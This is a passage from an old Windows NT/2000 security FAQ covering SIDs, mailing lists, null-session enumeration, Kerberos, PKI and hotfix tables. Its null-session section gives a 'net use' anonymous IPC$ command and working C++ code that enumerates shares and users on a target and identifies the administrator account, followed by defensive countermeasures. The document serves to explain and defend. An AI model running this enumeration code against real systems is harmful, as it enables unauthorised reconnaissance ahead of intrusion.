S-1-5-21-1271857391-537538043-240200450-4294967295

For more information, see Q. How can I tell which User has which SID? and Q. What are the problems with workstations having the same SID?

For more other information, see

http://support.microsoft.com/support/kb/articles/Q163/8/46.asp

For information on extracting the SID from an ACE see

http://support.microsoft.com/support/kb/articles/q102/1/01.asp

For information on how to associate a Username with a Security Identifier (SID) see

http://support.microsoft.com/support/kb/articles/Q154/5/99.asp

Contributed by Nathan House


Q. What security mailing lists exist for keeping up to date?

A. Mailing lists will help keep you up to date with all the latest bugs, exploits and information on security. Hackers like to keep up to date with this information so maybe you should too. If you have and interest and a need for security I personally do recommend joining mailing lists, but do be prepared for the amount of mail you will receive. Digest version of mailing lists are also available which send only the general highlights from a given period of time. Below are two of the most popular mailing lists for NT security.

- NTBugtraq

NTBugtraq is a mailing list for the discussion of security exploits and
security bugs in Windows NT and its related applications.

To join, send e-mail to listserv@listserv.ntbugtraq.com and, in the text of your message (not the subject line), write:

subscribe ntbugtraq

To remove, send e-mail to listserv@listserv.ntbugtraq.com and, in the text of your message (not the subject line), write:

unsubscribe ntbugtraq

- NT Security
To join, send e-mail to majordomo@iss.net and, in the text of your message (not the subject line), write:

subscribe ntsecurity

To remove, send e-mail to majordomo@iss.net and, in the text of your message (not the subject line), write:

unsubscribe ntsecurity

NT Security Mailing List is a moderated mailing list discussing Windows NT
security as well as the Windows 95 and Windows For Work Group security
issues. The issues discussed will be everything at the host and application
level security as well as at the network level.

Below is a list of some of the other well-known and popular security related
mailing lists:

GENERAL SECURITY MAILING LISTS
Alert
Best of Security
Bugtraq
COAST Security Archive
Computer Privacy Digest (CPD)
Computer Underground Digest (CuD)
Cypherpunks
Cypherpunks-Announce
European Firewalls
Firewalls
Intruder Detection Systems Infsec-L
NTBugtraq
NT Security
Phrack
PRIVACY Forum
Risks
SAS (French Speaking Firewalls)
S-HTTP
Sneakers
Secure Socket Layer - Talk
UNINFSEC - University Info Security Forum
Virus
Virus Alert
WWW Security

SECURITY PRODUCTS
SOS Freestone Firewall package
Tiger
TIS Firewallk Toolkit

VENDORS AND ORGANISATIONS
CERT
CIAC
HP
Sun

See http://xforce.iss.net/maillists/ for more information on security mailing lists and how to join them.

Also see www.sans.org which has information and a mailing list.

Contributed by Nathan House


Q. How can one protect against password hackers that use sniffers like l0pht?

A. Nowadays, NT administrators face a tough task in ensuring network security, because of password sniffers such as l0pht, which can sniff an NT password easily. To solve this, one can use a network sniffer that can detect such password sniffers. The network sniffer could log a user running a password sniffer and also issue an alert. An example of such a network sniffer is LANguard: http://www.languard.com.

The user password never leaves the local machine with Win2000 using Kerberos security. It is never exposed to the network so it should not be able to be sniffed.


Q. How can one detect that users have cracked a password?

A. To detect this, you would either have to review the security logs regularly or use a network sniffer to monitor users accessing shares in real time. A combination of the two would be the most prudent. Security logging can be switched on from the event viewer.

A network sniffer can be used to log IP's & Users accessing particular servers or shares. In real time an administrator would be able to see which users are accessing which shares. An example of such a sniffer is LANguard: http://www.languard.com or Sessionwall: http://www.sessionwall.com


Q. How is information enumerated through NULL session access, Remote Procedure Calls and IPC$?

A. A NULL session connection is an unauthenticated connection to an NT/W2000 machine. Gaining NULL session access to an NT\W2000 system is the number one method for hackers to enumerating information about an NT\W2000 machine.
From a NULL session hackers can call APIs and use Remote Procedure calls to enumerate information. These techniques can, and will provide information on passwords, groups, services, users and even active processors. NULL session access can also even be used for escalating privileges and perform DoS attacks.

See the below table for TCP/UDP ports and their use within NT\W2000.

Keyword Decimal Description
---------------------------------------------------------------
loc-srv 135/tcp Location Service (RPC endpoint mapping)
loc-srv 135/udp Location Service (RPC endpoint mapping)
netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBIOS Datagram Service
netbios-dgm 138/udp NETBIOS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service

For more information on port usage, see RFC1001, RFC1002

The above ports are often found open on a standard NT\W2000 installation. A null session can only be made to TCP port 139, but the above other ports are often required for code to be called effectively. Port 135 for example is used for RPC endpoint mapping.

From a hackers point of view when thinking about written code to enumerate this information; Exactly what can be called is hard to know, except for the things that are already known. There is little documentation available outside of Microsoft that describes the different calls available after a null session has been established. The only thing hackers can do is try whatever they can think of and see what happens, then try to understand why it works the way it does.

There could be things nobody outside Microsoft knows of yet.  A lot of what is known though is wrote into tools to enumerate this information, tools
such as penetration scanners, DumpACL, epdump, Getmac and even net view use these techniques.   This is the only way currently coded into NT/Windows
2000 to gather such information remotely.  These tools are unfortunately a doubled edged sword, a balance between usability and security.  Windows 2000
uses this same method for information enumeration so the same problems/usability will persist.

What this does tell us though is that these NULL sessions, RPC etc should not be allowed on public networks or even private networks on some occasions
if security is of concern.  This type of access requires the use of session layer protocols Server Message Block (SMB) and NetBIOS that provide I higher
layer functionality to that of simply TCP/UDP/IP.  The TCP/IP connection to port 139 is made, then the session layer protocols SMB and NetBIOS are used
to access the NT hidden share IPC$.  From the NT command line this can be performed with the following: net use \\127.0.0.1\ipc$ ""
/user:"" This technique was programmatically written into an old exploit called the
Redbutton attack.

From this NULL session connection all the above mentioned tools can be used and standard Microsoft APIs called.  For example the WIN32 functions,
LookupAccountName and LookupAccountSid, which reveal the SID or RID to account name and account name to SID or RID.  Examples of these functions
being called can be seen in user2sid.exe and sid2user.exe developed by Evgenii Borisovich Rudnyi.

What is shown below is a programmatic connection to an NT\W2000 machines via NULL sessions that then enumerates the true administrator account.  This is
achieved by using APIs to scan for the SID with the value 500, which is always the Administrator account renamed or otherwise.  The following code
segment was supplied by JD Glaser from NT OBJECTives, Inc which is an excellent site for NT tools which demonstrate this same level of remote
access (http://www.ntobjectives.com/).

Follow the comments to see exactly where the APIs are used to enumerate the relevant information;

First - making a  NULL Session connection

One way to this is by using the Net Use command with an empty password.
Programmatically, it looks like this:

//This function called from dialog that fills listbox with connections

BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)
{
//Setup for UNICODE
char* pTemp = TargetHost.GetBuffer(256);
WCHAR wszServ[256];
LPWSTR Server = NULL;

//Convert to Unicode
MultiByteToWideChar(CP_ACP, 0, pTemp,
strlen(pTemp)+1, wszServ,
sizeof(wszServ)/sizeof(wszServ[0]) );

//Create the IPC$ share connection string we need
Server = wszServ;

LPCWSTR szIpc = L"\\IPC$";
WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL
DWORD dwServNameLen;
DWORD dwRC;

//Setup Win32 structures and variables we need
NET_API_STATUS nas;

USE_INFO_2 ui2;
SHARE_INFO_1* pSHInfo1 = NULL;
DWORD            dwEntriesRead;
DWORD            dwTotalEntries;

//Set up handles to tree control to insert connection results

HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;

char sharename[256];
char remark[256];

if(Server == NULL || *Server == L'\0')
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

dwServNameLen = lstrlenW( Server );

//Test for various errors in connection string and recover
if(Server[0] != L'\\' && Server[1] != L'\\')
{
// prepend slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count
RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return FALSE;
}

if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;
if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;
//Start with clean memory
ZeroMemory(&ui2, sizeof(ui2));
//Fill in the Win32 network structure we need to use connect API
ui2.ui2_local = NULL;
ui2.ui2_remote = (LPTSTR) RemoteResource;
ui2.ui2_asg_type = USE_IPC;
ui2.ui2_password = (LPTSTR) L""; //SET PASSWORD TO NULL
ui2.ui2_username = (LPTSTR) L"";
ui2.ui2_domainname = (LPTSTR) L"";

//MAKE THE NULL SESSION CALL
nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0,

TVI_ROOT);
}

//THIS IS WHERE NT HANDS OUT IT INFORMATION
nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries, NULL);

dwRC = GetLastError();
if( nas == NERR_Success )
{
if(dwTotalEntries > 0)
{
shareRoot = pDlg->m_Victims.InsertItem("Shares",
machineRoot,TVI_LAST);
userRoot = pDlg->m_Victims.InsertItem("Users",
machineRoot,TVI_LAST);
adminRoot = pDlg->m_Victims.InsertItem("Admin",
machineRoot,TVI_LAST);

}
for(int x=0; x<(int)dwTotalEntries; x++)
{
// Convert back to ANSI
WideCharToMultiByte(CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_netname, -1,
sharename, 256, NULL, NULL
);

WideCharToMultiByte( CP_ACP, 0, (const unsigned
short*)pSHInfo1->shi1_remark, -1,
remark, 256, NULL, NULL );
CString ShareDetails = sharename;
ShareDetails = ShareDetails + " - " + remark;
//fill the tree with connect info
attribRoot = pDlg->m_Victims.InsertItem(ShareDetails,
shareRoot,TVI_LAST);
pSHInfo1++;
}
}

//My Wrapper function for listing users - see below
DoNetUserEnum(Server, pDlg, userRoot, adminRoot);

//WE ARE DONE, SO KILL THE CONNECTION
nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);

TargetHost.ReleaseBuffer();
SetLastError( nas );
return FALSE;
}

The following function is how one can programmatically determine the
administrator status of an account......

bool GetAdmin(char* pServer, char* pUser, CString& Name)
{
BOOL fAdmin = FALSE;
DWORD dwDomainName,dwSize,dwAdminVal;
SID_NAME_USE use;
PSID pUserSID = NULL; // SID for user
int rc;
int iSubCount;

bool bFoundHim = 0;
dwDomainName = 256;
dwSize = 0;
dwAdminVal = 0;
iSubCount = 0;

//Call API for buffer size since we don't know size beforehand
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
rc = GetLastError();

//Allocate a larger buffer
if(rc == ERROR_INSUFFICIENT_BUFFER)
{
pUserSID = (PSID) malloc(dwSize);

//Repeat call now that we have the right size buffer
rc = LookupAccountName(pServer,
pUser, pUserSID,
&dwSize, szDomainName,
&dwDomainName, &use );
}

//Scan the SIDS for the golden key - ADMIN == 500

//Get a count of SID's
iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID));
//Admin SID is the last element in the count
dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));

if(dwAdminVal==500) //TEST TO SEE IF THIS IS THE ADMIN
{
Name.Format("Admin is %s\\%s\n", szDomainName, pUser);
bFoundHim = true;
}

delete pUserSID;
return bFoundHim; //WE KNOW WHO HE IS, ADD HIM TO THE TREE
}

Wrapper for Listing the user accounts.....

void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg,
HTREEITEM userRoot, HTREEITEM adminRoot)
{
USER_INFO_10 *pUserbuf, *pCurUser;
DWORD dwRead, dwRemaining, dwResume, dwRC;

char userName[256];
char userServer[256];

dwResume = 0;

if(pServer[0] != L'\\' && pServer[1] != L'\\')
{
//Start sting with correct UNC slashes and NULL terminate
RemoteResource[0] = L'\\';
RemoteResource[1] = L'\\';
RemoteResource[2] = L'\0';
}
else
{
dwServNameLen -= 2; // drop slashes from count

RemoteResource[0] = L'\0';
}

if(dwServNameLen > CNLEN)
{
SetLastError(ERROR_INVALID_COMPUTERNAME);
return;
}

if(lstrcatW(RemoteResource, pServer) == NULL) return;

do
{

pUserbuf = NULL;

//THIS IS THE API THE NT USES TO HAND OUT IT's LIST
dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**)
&pUserbuf, 1024,
&dwRead, &dwRemaining, &dwResume);
if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS)
break;

DWORD i;
for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser)
{

// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name,
-1, userName, 256, NULL, NULL );
// Convert back to ANSI.
WideCharToMultiByte( CP_ACP, 0, pServer, -1,
userServer, 256, NULL, NULL );

if(!GotAdmin)
{
//use char strings
CString Admin;
GotAdmin = GetAdmin(userServer, userName, Admin);
if(GotAdmin)
{
Admin.TrimRight();
HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin,
adminRoot, TVI_LAST);
pDlg->m_Victims.EnsureVisible(adminChild);
}
}

CString strUserName = userName;
pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST);

}
if (pUserbuf != NULL)
NetApiBufferFree(pUserbuf);
} while (dwRC == ERROR_MORE_DATA);

if (dwRC != ERROR_SUCCESS)
printf("NUE() returned %lu\n", dwRC);
}

So what can be done to stop all this?

Several things can be done but in doing them you will reduce the functionality of your NT\W2000 machine.  A balance between
usability/functionality and security needs to be found.

1. See Q. How can I restrict access to objects from Anonymous accounts?

Please read MSKB Q143474 to understand the effect this has.
Strangely NULL sessions can still be made, but the information that is available is restricted.  For example sid2user will still function even with
RestrictAnonymous set.
See http://geek-girl.com/bugtraq/1997_2/0079.html for the original exploit.
This registry setting is automatically created within Windows 2000 but is set to (0) disabled.

2. Removing the 'Workstation' and 'Server' service.  This removes the ability of the NT\W2000 machine to respond to client or server requests.

3. Disabling NetBIOS through the registry and or removing the 'NetBIOS Interface' service.  This removes the session layer protocol NetBIOS which
is required for file sharing (IPC$).

Remember you must understand the functionality that this will reduce from making any of these changes.  For example the above level of change(s) may
not be desirable for a workstation but would be for a web server.

Things are changing with Windows 2000, as NetBIOS is not actually required anymore in a native Windows 2000 environment.  Windows 2000 also reduces the
available APIs that can be called, for example the 'reg' calls are greatly reduced.  So no longer can registry permissions be enumerated in Windows
2000 like they could within NT.  Most of the other calls are still available in W2000 like SID information and the file ACLs all via the NULL session.

There are also other methods for preventing NULL session other than the ones described above.   These are possibly the most effect on an NT\W2000 O/S level though.  See http://www.stationx.net/ntsecurity/  for more information.  On a network level the TCP/UDP ports 135-139 detailed above would be blocked using firewall(s) and or filtering router(s) from public access.

Contributed by Nathan House


Q. How do I use the Security Configuration and Analysis snap-in?

A. The Security Configuration and Analysis snap-in has two important abilities.

The first is it can load in a security template and then compare your system to it highlighting any possible problems and the second is it can then apply those changes to bring your system to meet the requirements of the template.

To use perform the following:

  1. Start the MMC snap-in (mmc.exe)
  2. Add the Security Configuration and Analysis snap-in (Console – Add/Remove Snap-in – Add – Security Configuration and Analysis – Add – Close – OK)
  3. Right click on the Security Configuration and Analysis route and select ‘Open database’
  4. Enter a new name and click Open (e.g. titanic.sdb)
  5. Select a template to use, e.g. securedc.inf and click Open
  6. Right click on the root and select ‘Analyze Computer Now…’
  7. Select a location for the log and click OK
  8. After the analysis if you select a branch entries will have one of 3 options
    - A green tick means it meets the templates required value
    - A red cross means it does not meet the templates required value
    - A generic icon means the value is not defined in the template
  9. To apply the changes right click on the root and select ‘Configure Computer Now’


Q. What is Kerberos?

A. Kerberos is new to Windows 2000 and is

"The hound of Hell. A three headed Dog with a Snake for a tail; guarded the entrance to the kingdom of Hades, the Underworld."

(and you wondered why the box was so big :-) ).

It replaces the Microsoft NTLM native communication for Windows 2000 computers but NTLM is still supported for compatibility with older NT 4, Windows 9x clients (as a side not NTLM version 2 is not supported in Windows 2000).

The idea is if two people know a secret they can communicate by encrypting a message with the secret and if they both know the secret they know the other person is who they say they are. The problem is the secret can’t be sent as just text over the network as anyone with a network sniffer could find the “secret”.

The Kerberos protocol solves this problem with secret key cryptography. Rather than sharing a password, communication partners share a cryptographic key which is symmetric in nature which means the single key can both encrypt and decrypt.

To communicate one side send the other an encrypted message containing their name and local time, the other machine then decrypts the packet with the symmetric key and if the time is close to its time then the match is OK.

The diagram shows this where KJB is the symmetric key shared by John and Bob.

The fact that time is part of the encryption technology is why Windows 2000 machines need to be time synchronized with a SNTP service.

But how is the shared key distributed if it can't be sent over the network? See the next FAQ.


Q. How is the shared key used by Kerberos distributed?

A. The previous FAQ explained that two machines (a client and a server) can communicate via a shared symmetric key used to encrypt data however the problem is how they can distribute that shared key between them.

This is where the Key Distribution Center is used and it consists of a service which runs on all Windows 2000 domain controllers and generates the shared key for the client and server and sends it in an encrypted form to the client.

The KDC responds to the client's request to talk to a server by sending both copies of the session key to the client (one for the client, one for the server but it is the same key just packaged differently). The client's copy of the session key is encrypted with the key that the KDC shares with the client. The server's copy of the session key is embedded, along with authorization data for the client, in a data structure called a session ticket. The entire structure is then encrypted with the key that the KDC shares with the server. The session ticket - with the server's copy of the session key safely inside - becomes the client's responsibility to manage until it contacts the server.

The client extracts the Session Key using its key shared with the KDC. It extracts the servers session ticket (it can’t decrypt as it does not know the key shared between the server and the KDC). This information is stored in a secure cache on the client in memory (never written to disk). When it wants to communicate it sends it name and time encrypted in the shared key (which it extracted) to the server along with the servers session ticket. The server then decrypts the session ticket using the key shared with the KDC, extracts the session key and decrypts the client authenticator replying back with the workstations time encrypted with the session key.

All of this means the server does not have to store session keys for clients, its the clients responsibility to send the servers session ticket to the server as part of communication.

Also session tickets are good for a defined amount of time based on the Kerberos policy. This is normally 8 hours (a normal logon time) so the KDC is not contacted every time the client wants to talk to a server, it has the session ticket cached which is good for the day.

What about the server-KDC and client-KDC long-term key, how is that distributed, the next faq!


Q. How is the long term key between a client and the KDC distributed?

A. The final stage in the Kerberos key exchange is the key used between a client (or server) and the KDC for distributing the session key used to encrypt information between a client and a server.

For this the client and the KDC share a long term key and this long term key is just a hashed version of the client users password.

The password is never sent over the network. When John logs on the Kerberos client on the workstation runs it through the one-way hash algorithm producing a cryptographic key.
This is sent to the KDC and at the KDC it extracts this hash from its record and checks they match. This only happens only on initial logon to the network.

At initial logon the Kerberos client asks the KDC for a session key and ticket it can use for further KDC communication during the logon session, this avoids the need for the hashed password to be constantly generated and checked.

The KDC replies with a copy of the session key it has generated for communication between the client and itself encrypted with the clients long-term key (hashed password). The client can decrypt using its cached long-term key.

The KDC also sends a copy of the session key encrypted with the KDC’s own long-term key which is known as the Ticket-Granting Ticket (TGT) and the client will send this in future to the KDC for communication in the same way the client-server session ticket worked. Only the KDC can decrypt the TGT as only it has its long-term key what the session key was encrypted with.

The Ticket Granting Ticket is valid only for the logon and discarded on logoff hence its also called a “logon session key”.

In future KDC communication the client would send the normal requests encrypted with its session key shared with the KDC and the KDC's TGT from which it can extract the session key needed to talk to the client. This means the KDC does not have to maintain a list of session keys for each client.


Q. How can I change the ticket lifetime used by Kerberos?

A. The default lifetime for a Kerberos ticket is defined by the group policy for the domain which is 10 hours by default. It can be changed as follows but 10 hours will normally suffice (unless people work very long days):

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the domain and select Properties from the context menu
  3. Select the 'Group Policy' tab
  4. Select the domain group policy object and click Edit
  5. Expand the Computer Configuration root then Weindows Settings - Security Settings - Kerberos Policy
  6. Double click the time you wish to change, modify and click OK
  7. Close the group policy editor

To force the GPO change to take effect you can run

C:\> secedit /refreshpolicy machine_policy /enforce


Q. What is PKI?

A. PKI stands for Public Key Infrastructure and over recent years has been gaining momentum and it basically consists of two keys, a public and a private key.

Previous encryption methods we have looked at use a symmetric key which means the same key is used to both encrypt and decrypt. Public-key encryption is different, here there are the two keys and if something is encrypted with the private key only the public key can decrypt it, and if something is encrypted with the public key only the private key can decrypt it.

As the names suggest the private key is known only by the owner but the public key is known by all. This means you have to keep the private key very private!

X.509 certificates are used for the distribution of the public key which means Certificate Authorities (CA) are needed and need to be configured as trusted for the domains.

If a user wants to send a message in private to a user they encrypt the message using the recipients public key, this means only the owner of the private key (the recipient) can decrypt it.

The problem with public-key encryption however is that it is slow and so public-key encryption is more commonly used to distribute a faster symmetric key which is then used to encrypt actual data.


Q. What is a digital signature and how does it work?

A. As we saw in the previous FAQ public-private keys are used to pass sensitive information however it can also be used to provide authentication that a sender is who they say they are. It does not protect the contents of the message, it only proves it is from who it says its from.

It provides authentication and integrity but does not provide confidentiality, data is sent as normal but acts like a normal signature we use on a letter.

A digital signature works by creating a message digest which ranges from between a 128-bit and a 256-bit number which is generated by running the entire message through a hash algorithm. This generated number is then encrypted with the senders private key and added to the end of the message.

When the recipient receives the message they run the message through the same hash algorithm and generate the message digest number. They then decrypt the signature using the senders public key and providing the two numbers match they know the message is from who it says its from AND that is has not been modified.


Q. What are secret keys?

A. We have seen that public-key encryption is slow compared to symmetric-key encryption and that public-key encryption is useful for distributing a key between two parties which can then be used for symmetric encryption.

The exact workings for this are as follows:

  1. Each side generates half of the key
  2. They encrypt the half they generated with the other persons public key
  3. Each side then sends their half to the other
  4. As they receive the other half they decrypt with their private key so both parties now have both parts of the key and can now use symmetric-key encryption

While it would be possible for one side to generate the whole key this doubles the security as even if someone knew one parties private key they would only have half the key.


Q. What service packs and fixes are available?

A. See table below. All directories are off of ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40. Just click on the file name for a direct FTP link For people in Europe ftp.sunet.se/pub3/vendor/microsoft/bussys/winnt/winnt-public/fixes may provide faster access.

There are also Microsoft BBS numbers where Service Packs can be downloaded from, e.g. for the UK it is 44 1734 270065, however the fixes tend to be a few days later than on the FTP site.

File Name | Directory | Description (Microsoft Article No.) | Hotfixes
Sp1_400i.exe | /ussp1/i386 | Service Pack 1 | PostSP1
Sp2_400i.exe | /ussp2/i386 | Service Pack 2 (around 14MB) | PostSP2
Nt4sp3_i.exe | /ussp3/i386 | Service Pack 3 (around 18MB) | PostSP3
NT4SP4I.EXE | NA | Service Pack 4 (around 33MB) | PostSp4
SP5I386.EXE | NA | Service Pack 5 (around 34.5MB) | PostSp5
SP6I386.EXE | NA | Service Pack 6a (around 34.8MB) | PostSp6a

Service Pack 1 Hotfixes /hotfixes-postsp1/

KRNL40I.EXE | /32proc-fix | Q140065
AFD40I.EXE | /afd-fix | Q140059
CDFS40I.EXE | /cdfs-fix | Q142687
NDIS40I.EXE | /mcanet-fix | Q156324
NDIS40I.EXE | /ndis-fix | Q142903
NTBCKUPI.EXE | /NTBackup-fix | Q142671
NTVDM40I.EXE | /ntvdm-fix | Q134126
PCM40_I.EXE | /pcmcia-fix | Q108261
SCSIFIXI.EXE | /scsi-fix | Q171295
SPX40I.EXE | /spx-fix | Q153665
SYN40I.EXE | /syn-attack | Q142641
NTFS40I.EXE | /toshiba-fix | Q150815
STONE97I.EXE | /winstone97 | Q141375

Service Pack 2 Hotfixes /hotfixes-postsp2/

ALPHA40.EXE | /Alpha-fix | Q156410
DNS40I.EXE | /dns-fix | Q142047, Q162927
IISFIX.EXE | /iis-fix | Q163485, Q164059
KRNL40I.EXE | /krnl-fix | Q135707, **Q141239**
TCP40I.EXE | /oob-fix | Q143478
RAS40I.EXE | /ras-fix | Q161368
RPC40I.EXE | /RPC-fix | Q159176, Q162567
SECFIX_I.EXE | /sec-fix | Q143474
SERIALI.EXE | /serial-fix | Q163333
SETUPDDI.EXE | /setupdd-fix | Q143473
SFMSRVI.EXE | /sfmsrv-fix | Q161644
WTCP40I.EXE | /TCPIP-fix | Q163213

Service Pack 3 Hotfixes /hotfixes-postsp3/

2GCRASHI.EXE | /2gcrash | Q173277
ASPFIX.EXE | /asp-fix | Q165335
ATA-FIXI.EXE | /atapi-fix | Q183654
DNSFIX_I.EXE | /dns-fix | Q142047
EUROFIXI.EXE | /euro-fix | Q182005
ADMNFIXI.EXE | /getadmin-fix | Q146965
IDEFIX-I.EXE | /ide-fix | Q153296
IIS-FIXI.EXE | /iis-fix | Q143484
IIS4FIXI.EXE | /iis4-fix | Q169274
JOY-FIXI.EXE | /joystick-fix | Q177668
NDISFIXI.EXE | /ndis-fix | Q156655
NBTFIX-I.EXE | /netbt-fix | Q178205
PCMFIX-I.EXE | /pcm-fix | Q180532
PENTFIX.EXE | /pent-fix | Q163852
PPTPFIXI.EXE | /pptp2-fix | Q167040
PPTPFIXI.EXE | /pptp3-fix | Q189595
PRIVFIXI.EXE | /priv-fix | Q190288
PRNTFIXI.EXE | /Prnt-fix | Q181022
ROLL-UPI.EXE | /roll-up | Q147222
RRASFIXI.EXE | /rras20-fix | Q168469
RRASFIXI.EXE | /rras30-fix | Q189594
DCOMFIXI.EXE | /SAG-fix |
SCSIFIXI.EXE | /scsi-fix | Q171295
SFM-FIXI.EXE | /sfm-fix | Q166571, Q170965, Q172511, Q177644, Q178364, Q180622, Q180716, Q180717, Q180718 & Q185722
CHARGENI.EXE | /simptcp-fix | Q154460
SNK-FIXI.EXE | /snk-fix | Q193233
SRVFIX-I.EXE | /srv-fix | Q180963
SSL-FIXI.EXE | /ssl-fix | Q148427
TAPI21FI.EXE | /tapi21-fix | Q179187
TEARFIXI.EXE | /teardrop2-fix | Q179129
Y2KFIXI.EXE | /Y2k-fix | Q196548
WANFIX-I.EXE | /wan-fix | Q163251
WINSFIXI.EXE | /winsupd-fix | Q155701
Y2KFIXI.EXE | /y2k-fix | Q175093, Q180122, Q183123 & Q183125
ZIP-FIXI.EXE | /zip-fix | Q154094

A number of post Service Pack 3 hotfixes have been replaced by newer fixes and are not listed above, they can be found at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/archive . These include

  • dbclclick-fix
  • icmp-fix
  • java-fix
  • land-fix
  • lsa-fix
  • mdl-fix
  • oob-fix
  • pptp-fix

Service Pack 4 Hotfixes /hotfixes-postsp4/

A post Service Pack 4 hotfix rollup has been released and can be downloaded from:
http://www.microsoft.com/ntserver/nts/downloads/recommended/nt4postsp4hotfix/

Individual hotfixes are:

BIOSFIXI.EXE | /Y2K/BIOS2-fix | Q216913
CLIKFIXI.EXE | /Clik-fix | Q195540
DISCFIXI.EXE | /Disc-fix | Q221331
GINAFIXI.EXE | /Gina-fix | Q214802
KRNLIFXI.EXE | /Kernel-fix | Q234557
MSMQFIXI.EXE | /Y2K/MSMQ-fix | Q230050
MSV-FIXI.EXE | Msv1-fix | Q214840
NPRPCFXI.EXE | /Nprpc-fix | Q195733
SP4HFIXI.EXE | /roll-up | Q195734
RNR-FIXI.EXE | /Rnr-fix | Q214864, Q216091, Q217001
SCRNSAVI.EXE | /Scrnsav-fix | Q221991
SMSFIXI.EXE | /Sms-fix | Q196270
SMSSFIXI.EXE | /Smss-fix | Q218473
TCPIPFXI.EXE | /Tcpip-fix | Q195725
Y2KUPD.EXE | /Y2K/Y2KUPD | Q218877, Q221120

Service Pack 5 Hotfixes /hotfixes-Postsp5/

CSRSSFXI.EXE | /Csrss-fix | Q233323
DIALRFXI.EXE | /Dialer-fix | NA
IGMPFIXI.EXE | /IGMP-fix | Q238329
IOCTLFXI.EXE | /IOCTL-fix | Q236359
LSAREQI.EXE | /LSA3-fix | Q231457
NDDEFIXI.EXE | /NetDDE-fix | Q231337
NTFSFIXI.EXE | /NTFS-fix | Q229607
Q234351I.EXE | /Perfctrs-fix | Q234351
RASFFIXI.EXE | /RAS-fix | Q230677
PWDFIXI.EXE | /RASPassword-fix | Q230681
RPSLWFXI.EXE | /Rpcltscm-fix | Q239132
RPWDFIXI.EXE | /RRASPassword-fix | Q233303
WINHLP-I.EXE | /Winhlp32-fix | NA
BIOSFIXI.EXE | /Y2K/BIOS2-fix | Q216913

Service Pack 6a Hotfixes /hotfixes-Postsp6a/

q244599i.exe /c2-fix Q241041, Q243404, Q243405, Q244599

The file names above are for the Intel platform (hence the ending I), but they may also be available for Alpha and PPC, just substitute the I for a A(Alpha) or P(PPC).

I should note a health warning, "If it ain't broke, don't fix it" and I would tend to agree with this, so unless you have a problem, or require a new feature of a Service Pack think if you really want it. Also if you are going to apply it to a live system, try and test it first, as sometimes a Service Pack will introduce new problems.


Q. What are the Q numbers and how do I look them up?

A. The Q numbers relate to Microsoft Knowledge Base articles and can be viewed at http://support.microsoft.com/support/


Q. How do I install the Service Packs?

A. If you receive the Service Pack by downloading from a Microsoft FTP site, then copy the file to a temporary directory and then just enter the file name (e.g. Sp2_400i.exe). The file will be expanded and among the files created a file called UPDATE.EXE will be created. Just run this file. If there is no UPDATE.EXE, just .sym files you have downloaded the symbols version which is used for debugging NT, download the normal version (see above).

If you receive Service Packs via CD, if you just insert the CD (for SP2 and later) and an Internet Explorer page will be shown and you can just click on install for the Service Pack.


Q. How do I install the Hot fix?

A. Again copy the file to a temporary directory and run the file name. A few files will be created, one called HOTFIX.EXE. Run "HOTFIX /install" which will install the Hot Fix.

The newer Hot fixes (Java fix for Service Pack 3 onwards) you just double click on the downloaded file.


Q. How do I remove a Hot fix?

A. Use the command Hotfix /remove to remove a hotfix. Before you can do this you will need to expand the original hotfix file using the <hotfix> /x command.

To force the remove using the registry editor (regedt32) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\HOTFIX and delete the entry for the HOTFIX. Then use explorer to goto %SystemRoot%\HOTFIX\HF00?? and copy the backed up files back to their original location.


Q. How do I install Service Pack 3?

A. Before you install Service Pack 3 you must remove Internet Explorer 4.0 preview if installed:

  1. From Control Panel (Start - Settings - Control Panel) double click Add/Remove Programs
  2. Select "Microsoft Internet Explorer 4.0" and click Add/Remove
  3. Select Remove All
  4. You will have to reboot

Also before installing SP3 make sure you have an up to date Repair Disk (RDISK /S). To install Service Pack 3 download Nt4sp3_i.exe and follow the instructions below

  1. Double click nt4sp3_i.exe
  2. It will verify the file and then uncompress to a temporary area (you can make it uncompress without installing by typing nt4sp3_i /x)
  3. Click Next to install and click Yes to accept the license agreement
  4. Click Next and then select "Yes create uninstall"
  5. Click Next then Finish
  6. You will then have to reboot


Q. Emergency Repair Disk issues after installation of Service Pack 3.

